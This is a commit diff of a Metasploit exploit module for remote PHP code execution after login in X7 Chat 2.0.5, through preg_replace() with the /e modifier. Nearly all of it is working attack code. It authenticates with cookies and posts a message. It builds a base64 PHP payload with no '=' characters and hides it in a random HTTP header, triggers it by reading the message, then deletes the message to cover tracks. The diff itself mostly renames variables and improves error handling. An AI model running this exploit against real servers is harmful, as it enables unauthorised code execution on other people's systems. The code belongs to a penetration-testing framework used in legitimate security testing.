@@ -13,19 +13,20 @@ class Metasploit3 < Msf::Exploit::Remote
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
- 'Name' => 'The X7 Group X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution' ,
16
+ 'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution' ,
17
17
'Description' => %q{
18
- This module exploits a post-auth vulnerability found in X7 Chat versions 2.0.0 up to 2.0.5.1.
19
- Library lib/message.php uses preg_replace() function with the /e modifier.
20
- This allows a remote authenticated attacker to execute PHP code in the remote machine.
18
+ This module exploits a post-auth vulnerability found in X7 Chat versions
19
+ 2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
20
+ uses preg_replace() function with the /e modifier. This allows a remote
21
+ authenticated attacker to execute arbitrary PHP code in the remote machine.
21
22
} ,
22
23
'License' => MSF_LICENSE ,
23
24
'Author' =>
24
25
[
25
26
'Fernando Munoz <fernando[at]null-life.com>' , # discovery & module development
26
27
'Juan Escobar <eng.jescobar[at]gmail.com>' , # module development @itsecurityco
27
28
] ,
28
- 'Platform' => [ 'php' ] ,
29
+ 'Platform' => 'php' ,
29
30
'Arch' => ARCH_PHP ,
30
31
'Targets' => [ [ 'Generic (PHP Payload)' , { } ] ] ,
31
32
'DisclosureDate' => 'Oct 27 2014' ,
@@ -40,25 +41,25 @@ def initialize(info = {})
40
41
end
41
42
42
43
def check
43
- res = exec_php ( 'phpinfo(); die();' , true )
44
+ res = exec_php ( 'phpinfo(); die();' , true )
44
45
45
- if res && res . body =~ /This program makes use of the Zend/
46
- return Exploit ::CheckCode ::Vulnerable
47
- else
48
- return Exploit ::CheckCode ::Unknown
49
- end
46
+ if res && res . body =~ /This program makes use of the Zend/
47
+ return Exploit ::CheckCode ::Vulnerable
48
+ else
49
+ return Exploit ::CheckCode ::Unknown
50
+ end
50
51
end
51
52
52
- def exec_php ( php_code , check = false )
53
+ def exec_php ( php_code , is_check = false )
53
54
54
55
# remove comments, line breaks and spaces of php_code
55
- pclean = php_code . gsub ( /(\s +)|(#.*)/ , '' )
56
+ payload_clean = php_code . gsub ( /(\s +)|(#.*)/ , '' )
56
57
57
58
# clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
58
- while Rex ::Text . encode_base64 ( pclean ) =~ /=/
59
- pclean = "#{ pclean } "
59
+ while Rex ::Text . encode_base64 ( payload_clean ) =~ /=/
60
+ payload_clean = "#{ payload_clean } "
60
61
end
61
- pb64 = Rex ::Text . encode_base64 ( pclean )
62
+ payload_b64 = Rex ::Text . encode_base64 ( payload_clean )
62
63
63
64
cookie_x7c2u = "X7C2U=#{ datastore [ 'USERNAME' ] } "
64
65
cookie_x7c2p = "X7C2P=#{ Rex ::Text . md5 ( datastore [ 'PASSWORD' ] ) } "
@@ -82,14 +83,14 @@ def exec_php(php_code, check = false)
82
83
}
83
84
} )
84
85
85
- if ! res || res . code ! = 200
86
+ unless res && res . code = = 200
86
87
print_error ( "Sending the message (#{ rand_text } ) has failed" )
87
- return
88
+ return false
88
89
end
89
90
90
91
if res . body =~ /([0-9]*)">#{ rand_text } /
91
92
message_id = Regexp . last_match [ 1 ]
92
- userpanel = 'user_cp'
93
+ user_panel = 'user_cp'
93
94
else
94
95
print_error ( "Could not find message (#{ rand_text } ) in the message list" )
95
96
@@ -111,35 +112,42 @@ def exec_php(php_code, check = false)
111
112
}
112
113
} )
113
114
114
- if ! res || res . code ! = 200
115
+ unless res && res . code = = 200
115
116
print_error ( "Sending the message (#{ rand_text } ) has failed" )
116
- return
117
+ return false
117
118
end
118
119
119
120
if res . body =~ /([0-9]*)">#{ rand_text } /
120
121
message_id = Regexp . last_match [ 1 ]
121
- userpanel = 'usercp'
122
+ user_panel = 'usercp'
122
123
else
123
124
print_error ( "Could not find message (#{ rand_text } ) in the message list" )
124
- return
125
+ return false
125
126
end
126
127
end
127
128
128
129
print_status ( "Accessing message (#{ rand_text } )" )
129
130
print_status ( "Sending payload in HTTP header '#{ rand_text } '" )
131
+
132
+ if is_check
133
+ timeout = 20
134
+ else
135
+ timeout = 3
136
+ end
137
+
130
138
res = send_request_cgi ( {
131
139
'method' => 'GET' ,
132
140
'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
133
141
'headers' => {
134
142
'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
135
- rand_text => pb64 ,
143
+ rand_text => payload_b64 ,
136
144
} ,
137
145
'vars_get' => {
138
- 'act' => userpanel ,
146
+ 'act' => user_panel ,
139
147
'cp_page' => 'msgcenter' ,
140
148
'read' => message_id ,
141
149
}
142
- } )
150
+ } , timeout )
143
151
144
152
res_payload = res
145
153
@@ -151,7 +159,7 @@ def exec_php(php_code, check = false)
151
159
'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
152
160
} ,
153
161
'vars_get' => {
154
- 'act' => userpanel ,
162
+ 'act' => user_panel ,
155
163
'cp_page' => 'msgcenter' ,
156
164
'delete' => message_id ,
157
165
}
@@ -161,15 +169,20 @@ def exec_php(php_code, check = false)
161
169
print_good ( "Message (#{ rand_text } ) removed" )
162
170
else
163
171
print_error ( "Removing message (#{ rand_text } ) has failed" )
172
+ return false
164
173
end
165
174
166
175
# if check return the response
167
- if check
176
+ if is_check
168
177
return res_payload
178
+ else
179
+ return true
169
180
end
170
181
end
171
182
172
183
def exploit
173
- exec_php ( payload . encoded )
184
+ unless exec_php ( payload . encoded )
185
+ fail_with ( Failure ::Unknown , "#{ peer } - Exploit failed, aborting." )
186
+ end
174
187
end
175
188
end
0 commit comments